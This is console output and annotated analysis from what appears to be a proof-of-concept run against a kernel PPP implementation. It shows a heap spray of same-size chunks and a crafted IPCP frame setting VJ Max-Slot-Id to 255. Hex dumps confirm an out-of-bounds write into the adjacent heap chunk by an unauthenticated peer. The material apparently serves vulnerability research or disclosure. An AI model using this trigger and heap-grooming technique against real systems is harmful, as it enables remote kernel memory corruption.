[*] sp->pp_comp = 0xfffff801185ba600, sizeof=4656
[*] sprayed 64 x 4656-byte chunks (same size class)
---- BEFORE weapon: rstate[10..] tail (expect zeros) @ 0xfffff801185bb53c ----
fffff801185bb53c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb54c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb55c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb56c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb57c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb58c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb59c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb5ac: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
[*] SIOCGIFFLAGS rc=0 flags=0xffff8010
[*] SIOCSIFFLAGS(up) rc=0
[.] try 0: ACK id=1
[+] LCP OPENED
>>> WEAPON: IPCP VJ Max-Slot-Id=255
---- AFTER weapon: rstate tail + past-end @ 0xfffff801185bb53c ----
fffff801185bb53c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb54c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb55c: 00 00 00 00 d0 b4 5b 18 01 f8 ff ff 00 00 1b 00 
fffff801185bb56c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb57c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb58c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb59c: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb5ac: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb5bc: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb5cc: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
---- AFTER weapon: allocation end +0..64 (OOB) @ 0xfffff801185bb820 ----
fffff801185bb820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb830: a0 b7 5b 18 01 f8 ff ff 00 00 20 00 00 00 00 00 
fffff801185bb840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
fffff801185bb850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
[*] freeing sprayed chunks (touches corrupted zones)
[*] unspray done, alive
[!] survived
exit=0

# ANALYSIS (annotated):
# comp = 0xfffff801185ba600.  The allocation is 4656 bytes, ending at
# 0xfffff801185bb820 (0x...bb820 - 0x...ba600 = 0x1220 = 4656).
# AFTER dump 1, at 0xfffff801185bb55c (= comp+3932 = &tstate[27]):
#   d0 b4 5b 18 01 f8 ff ff  ->  0xfffff801185bb4d0 = comp+48+144*26 = &tstate[26]  (cs_next)
#   ... 1b                    ->  27 = 27                                            (cs_id == entry index)
# AFTER dump 2, at 0xfffff801185bb830 (= comp+4672):
#   NOTE 0x...bb830 is SIXTEEN BYTES PAST the end of the 4656-byte allocation
#   (allocation ends at 0x...bb820; bytes 0x...bb820..82f belong to the NEXT
#   heap chunk and are zero here only because entry i=32's pointer/id land at
#   +0x10/+0x1a of that chunk):
#   a0 b7 5b 18 01 f8 ff ff  ->  0xfffff801185bb7a0 = comp+48+144*31 = &tstate[31] (cs_next)
#   ... 20                    ->  32 = 32                                             (cs_id)
# => tstate[32] — an entry of the ADJACENT 4656-byte heap chunk — was
#    overwritten by the peer frame.  Cross-object heap corruption from an
#    unauthenticated peer, with exactly the contents predicted from source.